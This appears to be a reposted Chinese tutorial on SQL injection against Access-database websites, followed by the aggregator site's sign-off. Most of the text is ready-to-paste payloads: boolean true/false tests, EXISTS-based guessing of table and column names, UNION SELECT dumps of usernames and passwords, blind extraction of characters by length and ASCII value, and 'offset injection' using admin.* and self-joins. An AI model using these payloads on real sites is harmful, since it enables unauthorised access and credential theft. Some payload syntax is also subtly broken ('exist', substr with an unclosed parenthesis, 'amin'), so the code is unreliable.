1.access數(shù)據(jù)庫(kù)與mysql數(shù)據(jù)庫(kù)的差別

access沒(méi)有數(shù)據(jù)庫(kù),access數(shù)據(jù)庫(kù)每個(gè)數(shù)據(jù)都是單個(gè)文件,每個(gè)access只有表結(jié)構(gòu)

mysql : 庫(kù)名,表名,列名,字段內(nèi)容

access:表名,列名,字段內(nèi)容

2. access注入.

1)判斷注入.

and1=1

and 1=2

2)判斷表名,列名

exist()

假如表名為user(也可能為login,admin,admin_user等等)

則查詢(xún)語(yǔ)句為exist(select * from user)

若返回正常則頁(yè)面存在,列名同理如

and exist(select username from user)

and exist(select password from user)

3)聯(lián)合查詢(xún)查詢(xún)列名

判斷列數(shù) order by 10

and 1=2 union select 1,2,3,4,5,6,7,8,9,10 from user

and 1=2 union select 1,username,3,4,password,6,7,8,9,10 from user

4)猜測(cè)字段內(nèi)容

首先猜測(cè)字段長(zhǎng)度:

and (select top 1 len(username) from admin)>n

若頁(yè)面正常,則字段長(zhǎng)度大于n.

and (select top 1 ascii(substr(username,1,1) from user)>m

若頁(yè)面顯示正常,則字段的第一個(gè)字符的ascll碼大于m

可使用二分法,burpsuite爆破,dns注入等提高查詢(xún)速度

3. access偏移注入.

常用于:當(dāng)我們知道表名無(wú)法得知字段名,查詢(xún)不出字段內(nèi)容時(shí)

order by 13

and 1=2 union select 1,2,3,4,5,6,7,8,9,* from admin 直到*正常

假設(shè)一個(gè)表有8個(gè)字段，admin表有3個(gè)字段。

聯(lián)合查詢(xún)payload：union select 1,2,3,4,5,6,7,8 from admin

在我們不知道admin有多少字段的情況下可以嘗試payload：union select 1,2,3,4,5,6,7,admin.* from admin，此時(shí)頁(yè)面出錯(cuò)

直到payload：union select 1,2,3,4,5,admin.* from admin時(shí)頁(yè)面返回正常，說(shuō)明admin表有三個(gè)字段

然后通過(guò)移動(dòng)admin.*的位置，就可以回顯不同的數(shù)據(jù)

當(dāng)偏移查詢(xún)不到時(shí),可以將表給重命名 admin as a? admin as b

獲取id一樣的字段,amin as a inner join admin as b on a.id=b.id來(lái)進(jìn)行整體查詢(xún)

13-9=4 4*2=8 13-8=5

and 1=2 union select 1,2,3,4,5,* from (admin as a inner join admin as b on a.id=b.id)

總結(jié)

以上是生活随笔為你收集整理的mysql可以偏移注入_access数据库一般注入方法及偏移注入的全部?jī)?nèi)容，希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。